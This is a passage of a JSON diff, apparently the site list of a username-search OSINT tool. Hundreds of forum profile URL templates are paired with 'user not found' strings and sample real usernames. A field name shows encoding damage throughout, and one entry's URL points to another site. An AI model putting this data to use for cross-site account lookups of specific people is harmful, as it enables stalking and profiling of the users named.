"https://forum.novelupdates.com/members/?username={}", + "urlMain": "https://forum.novelupdates.com", + "usernameON": "lilly2805", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdatesforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novelupdatesforum.com/members/?username={}", + "urlMain": "https://www.novelupdatesforum.com", + "usernameON": "parth37955", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "К сожалению, возникла проблема", + "errorTyp��": "message", + "url": "https://novfishing.ru/search/?&q={}&type=core_members", + "urlMain": "https://novfishing.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_novoe-chelovech": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://novoe-chelovech.ucoz.ru/index/8-0-{}", + "urlMain": "http://novoe-chelovech.ucoz.ru", + "usernameON": "Asteroidbum", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_novokrasnyanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://novokrasnyanka.ucoz.ua/index/8-0-{}", + "urlMain": "https://novokrasnyanka.ucoz.ua", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_novsevkuchino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://novsevkuchino.my1.ru/index/8-0-{}", + "urlMain": "https://novsevkuchino.my1.ru", + "usernameON": "Zews", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_npest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://npest.moy.su/index/8-0-{}", + "urlMain": "https://npest.moy.su", + "usernameON": "Juku", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nsk-cb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Insufficient Storage", + "errorTyp��": "message", + "url": "http://forum.nsk-cb.ru/memberlist.php?username={}", + "urlMain": "http://forum.nsk-cb.ru", + "usernameON": "abjectradical82", + "bad_site": "" + }, + "Forum_nsk_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nsk.clan.su/index/8-0-{}", + "urlMain": "https://nsk.clan.su", + "usernameON": "Elnor", + "bad_site": "" + }, + "Forum_nsu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://forum.nsu.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.nsu.ru", + "usernameON": "Znaika", + "bad_site": 1 + }, + "Forum_ntc_party": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ntc.party/u/{}", + "urlMain": "https://ntc.party", + "usernameON": "tango", + "bad_site": "" + }, + "Forum_nudostar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nudostar.com/forum/members/?username={}", + "urlMain": "https://nudostar.com", + "usernameON": "ahmedhananii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nulled_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.nulled.to/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_content=both&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term=&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=title&search_app_filters[members][members][sortDir]=", + "urlMain": "https://www.nulled.to", + "usernameON": "crybaby20240", + "bad_site": 1 + }, + "Forum_numis": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.numisforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.numisforums.com", + "usernameON": "rasiel", + "bad_site": "" + }, + "Forum_nunchaku": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "https://forum.nvworld.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.nvworld.ru", + "usernameON": "epddsns", + "bad_site": "" + }, + "Forum_nyangler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nyangler.com/members/?username={}", + "urlMain": "https://nyangler.com", + "usernameON": "leprechaun", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nybass": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nybass.com/members/?username={}", + "urlMain": "https://www.nybass.com", + "usernameON": "jaysen", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nyccnc": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://nyccnc.com/forums/users/{}/", + "urlMain": "https://nyccnc.com/", + "usernameON": "ltborg", + "bad_site": "" + }, + "Forum_nycfire": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nycfire.net/forums/members/?username={}", + "urlMain": "https://www.nycfire.net", + "usernameON": "signal73", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_obama_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obama.ucoz.ru/index/8-0-{}", + "urlMain": "https://obama.ucoz.ru", + "usernameON": "uKc", + "bad_site": "" + }, + "Forum_obkon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obkon.ucoz.com/index/8-0-{}", + "urlMain": "https://obkon.ucoz.com", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_obninskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Page not found", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://chessiki.ru/forums/profile/{}", + "urlMain": "https://chessiki.ru/", + "usernameON": "lvdraphael", + "bad_site": "" + }, + "Forum_obovcem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obovcem.ucoz.ru/index/8-0-{}", + "urlMain": "https://obovcem.ucoz.ru/", + "usernameON": "Obovcem", + "bad_site": "" + }, + "Forum_obovsem_piter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obzhorkinsajt.ucoz.ru/index/8-0-{}", + "urlMain": "https://obzhorkinsajt.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_octothorp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.octothorp.team/user/{}", + "urlMain": "https://forum.octothorp.team", + "usernameON": "porkove", + "bad_site": "" + }, + "Forum_odessacrewing": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://odessacrewing.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://odessacrewing.kamrbb.ru", + "usernameON": "csplus", + "bad_site": "" + }, + "Forum_odinhram": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinhram.3dn.ru/index/8-0-{}", + "urlMain": "https://odinhram.3dn.ru", + "usernameON": "elenas", + "bad_site": "" + }, + "Forum_odinochestvo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinochestvo.moy.su/index/8-0-{}", + "urlMain": "https://odinochestvo.moy.su", + "usernameON": "Marion", + "bad_site": "" + }, + "Forum_odnokursniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odnokursniki.clan.su/index/8-0-{}", + "urlMain": "https://odnokursniki.clan.su", + "usernameON": "vsetransport", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_odonvv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odonvv.ru/index/8-0-{}", + "urlMain": "https://odonvv.ru", + "usernameON": "Vodoley", + "bad_site": "" + }, + "Forum_officiating": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://offthepost.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://offthepost.org", + "usernameON": "Bosc", + "bad_site": "" + }, + "Forum_ofo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ofo.ucoz.ru/index/8-0-{}", + "urlMain": "https://ofo.ucoz.ru", + "usernameON": "sudba", + "bad_site": "" + }, + "Forum_ogxbox": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ogxbox.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.ogxbox.com", + "usernameON": "dtomcat", + "bad_site": "" + }, + "Forum_ohiogamefishing": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiogamefishing.com/members/?username={}", + "urlMain": "https://www.ohiogamefishing.com", + "usernameON": "deadeyedeek", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiosportsman": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiosportsman.com/members/?username={}", + "urlMain": "https://www.ohiosportsman.com", + "usernameON": "pbudi59", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiowaterfowler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiowaterfowlerforum.com/members/?username={}", + "urlMain": "https://www.ohiowaterfowlerforum.com", + "usernameON": "jimmy81", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohota-ribalka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ohota-ribalka.at.ua/index/8-0-{}", + "urlMain": "https://ohota-ribalka.at.ua", + "usernameON": "gratch79", + "bad_site": "" + }, + "Forum_ohrana-truda": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "0 результатов", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.ohrana-truda.by/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.ohrana-truda.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_oih_med": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "403 Forbidden", + "errorMsg2": "Пользователь не найден", + "errorTyp��": "message", + "url": "https://oih.at.ua/index/8-0-{}", + "urlMain": "https://oih.at.ua", + "usernameON": "fiorella", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oil-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Just a moment", + "errorMsg2": "Found 0 results", + "errorMsg3": "Найдено 0", + "errorTyp��": "message", + "url": "https://www.oil-club.ru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.oil-club.ru", + "usernameON": "tattoedarm", + "bad_site": "" + }, + "Forum_oilburners": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oilburners.net/members/?username={}", + "urlMain": "https://www.oilburners.net", + "usernameON": "kansasidi", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oklahomahunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oklahomahunter.net/members/?username={}", + "urlMain": "https://www.oklahomahunter.net", + "usernameON": "drc458", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_okna-7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://okna-7.my1.ru/index/8-0-{}", + "urlMain": "https://okna-7.my1.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_old_ap": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://old.ap-pro.ru/index/8-0-{}", + "urlMain": "http://old.ap-pro.ru/", + "usernameON": "dkfllelfhtd", + "bad_site": "" + }, + "Forum_old_sukhoi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://old.sukhoi.ru/forum/member.php?username={}", + "urlMain": "http://old.sukhoi.ru", + "usernameON": "GreyWind", + "bad_site": "" + }, + "Forum_oldbel-kovalevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oldbel-kovalevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://oldbel-kovalevo.ucoz.ru", + "usernameON": "skorodihin", + "bad_site": "" + }, + "Forum_oldclassiccar": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.oldclassiccar.co.uk/forum/phpbb/phpBB2/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.oldclassiccar.co.uk", + "usernameON": "davids", + "bad_site": "" + }, + "Forum_oldmeloman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://oldmeloman.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://oldmeloman.kamrbb.ru", + "usernameON": "gustava", + "bad_site": "" + }, + "Forum_oldones": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.oldones.org/index/8-0-{}", + "urlMain": "http://www.oldones.org", + "usernameON": "rpavel693", + "comments": "bad", + "bad_site": 1 + }, + "forum_oldpokemon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "https://forum.oldpokemon.ru/memberlist.php?sk=c&sd=a&username={}", + "urlMain": "https://forum.oldpokemon.ru", + "usernameON": "BisQuit", + "bad_site": 1 + }, + "Forum_olujaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://olujaz.ucoz.ru/index/8-0-{}", + "urlMain": "https://olujaz.ucoz.ru", + "usernameON": "ccbeclexanthirt", + "bad_site": "" + }, + "Forum_oluss": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oluss.at.ua/index/8-0-{}", + "urlMain": "https://oluss.at.ua", + "usernameON": "oluss", + "bad_site": "" + }, + "Forum_omaddiet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omaddiet.com/community/members/?username={}", + "urlMain": "https://omaddiet.com", + "usernameON": "sumeria9", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_omega": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omegaforums.net/members/?username={}", + "urlMain": "https://omegaforums.net", + "usernameON": "fsg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oms.ucoz.com/index/8-0-{}", + "urlMain": "https://oms.ucoz.com", + "usernameON": "pysarievai", + "bad_site": "" + }, + "Forum_omskmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "ОмскМама", + "errorTyp��": "message", + "url": "https://forum.omskmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.omskmama.ru", + "usernameON": "vo24uk", + "bad_site": "" + }, + "Forum_onbankir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://onbankir.moy.su/index/8-0-{}", + "urlMain": "https://onbankir.moy.su", + "usernameON": "burenokscody", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oneclickchicks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "One Click Chicks Forum", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.oneclickchicks.com/member.php?username={}", + "urlMain": "https://forum.oneclickchicks.com", + "usernameON": "osreb", + "bad_site": "" + }, + "Forum_onefinitycnc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.onefinitycnc.com/u/{}/summary", + "urlMain": "https://forum.onefinitycnc.com/", + "usernameON": "tahoe1840", + "bad_site": "" + }, + "Forum_online-dendy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://online-dendy.ru/index/8-0-{}", + "urlMain": "http://online-dendy.ru", + "usernameON": "fumssHesy", + "bad_site": "" + }, + "Forum_online-knigi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://forum.online-knigi.com/members/?username={}", + "urlMain": "https://forum.online-knigi.com", + "usernameON": "brazilla", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_online-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://online-money.3dn.ru/index/8-0-{}", + "urlMain": "https://online-money.3dn.ru", + "usernameON": "JafidNub", + "bad_site": "" + }, + "Forum_onlline-game_pp": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://onlline-game.pp.net.ua/index/8-0-{}", + "urlMain": "http://onlline-game.pp.net.ua", + "usernameON": "KREDO", + "bad_site": "" + }, + "Forum_onlyfans": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://onlyfansforum.com/author/{}/", + "urlMain": "https://onlyfansforum.com", + "usernameON": "fapello", + "comments": "bad", + "bad_site": "" + }, + "Forum_onlyrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onlyrus.ucoz.net/index/8-0-{}", + "urlMain": "https://onlyrus.ucoz.net", + "usernameON": "gromovmail", + "bad_site": "" + }, + "Forum_onlytech": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://onlytech.com/community/members/?username={}", + "urlMain": "https://onlytech.com", + "usernameON": "davidjohn91", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_onru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onru.my1.ru/index/8-0-{}", + "urlMain": "https://onru.my1.ru", + "usernameON": "Heavy", + "bad_site": "" + }, + "Forum_onz-shot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onz-shot.3dn.ru/index/8-0-{}", + "urlMain": "https://onz-shot.3dn.ru", + "usernameON": "WezhewBlesy", + "bad_site": "" + }, + "Forum_oopkmoskva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oopkmoskva.ucoz.ru/index/8-0-{}", + "urlMain": "https://oopkmoskva.ucoz.ru", + "usernameON": "standartserves", + "bad_site": "" + }, + "Forum_open-chess": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://www.open-chess.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.open-chess.org", + "usernameON": "karakaniec", + "bad_site": "" + }, + "Forum_open_vanillaforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://open.vanillaforums.com/profile/{}", + "urlMain": "https://open.vanillaforums.com", + "usernameON": "haryono", + "bad_site": "" + }, + "Forum_openai": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.openai.com/u/{}", + "urlMain": "https://community.openai.com", + "usernameON": "haktan", + "bad_site": "" + }, + "Forum_openframeworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.openframeworks.cc/u/{}/summary", + "urlMain": "https://forum.openframeworks.cc", + "usernameON": "red", + "bad_site": "" + }, + "Forum_opennebula": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.inductiveautomation.com/u/{}/summary", + "urlMain": "https://forum.opennebula.io", + "usernameON": "vani161998", + "bad_site": "" + }, + "Forum_openoffice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.openoffice.org/en/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.openoffice.org", + "usernameON": "Diane9576", + "bad_site": "" + }, + "Forum_openstreetmap": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.openstreetmap.fr/u/{}/summary", + "urlMain": "https://forum.openstreetmap.fr", + "usernameON": "gendy54", + "bad_site": "" + }, + "Forum_opensuse": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.opensuse.org/u/{}/summary", + "urlMain": "https://forums.opensuse.org", + "usernameON": "someuser7852", + "bad_site": "" + }, + "Forum_openwrt": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "data-preloaded=\"{"search":"{\\"posts\\":[],\\"users\\":[]", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.openwrt.org/search?q={}&search_type=users", + "urlMain": "https://forum.openwrt.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_optima": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.optimaforums.com/members/?username={}", + "urlMain": "https://www.optimaforums.com", + "usernameON": "aiden15", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_optina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.optina.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.optina.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_oranj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oranj.3dn.ru/index/8-0-{}", + "urlMain": "https://oranj.3dn.ru", + "usernameON": "kraudsmart803", + "bad_site": "" + }, + "Forum_orbiter": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.orbiter-forum.com/members/?username={}", + "urlMain": "https://www.orbiter-forum.com/", + "usernameON": "dgatsoulis", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_orbito": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orbito.ucoz.ru/index/8-0-{}", + "urlMain": "https://orbito.ucoz.ru", + "usernameON": "keynbr", + "bad_site": "" + }, + "Forum_orchideus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://orchideus.ucoz.net/index/8-0-{}", + "urlMain": "http://orchideus.ucoz.net", + "usernameON": "Falcon", + "bad_site": "" + }, + "Forum_ord": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ord.at.ua/index/8-0-{}", + "urlMain": "https://ord.at.ua", + "usernameON": "thompson1986", + "bad_site": "" + }, + "Forum_orelhunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 обнаружено совпадений всего на сайте", + "errorMsg2": "0 Ïîëüçîâàòåëè íàéäåíî", + "errorMsg3": "Аккаунт заблокирован", + "errorTyp��": "message", + "url": "https://www.orelhunter.ru/search.php?stext={}", + "urlMain": "https://www.orelhunter.ru", + "usernameON": "zevocixy", + "bad_site": "" + }, + "Forum_org-invalid": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://org-invalid-sov.ucoz.ru/index/8-0-{}", + "urlMain": "https://org-invalid-sov.ucoz.ru", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_originalpw": { + "country": "🇷🇺", + "country_klas": "RU", + 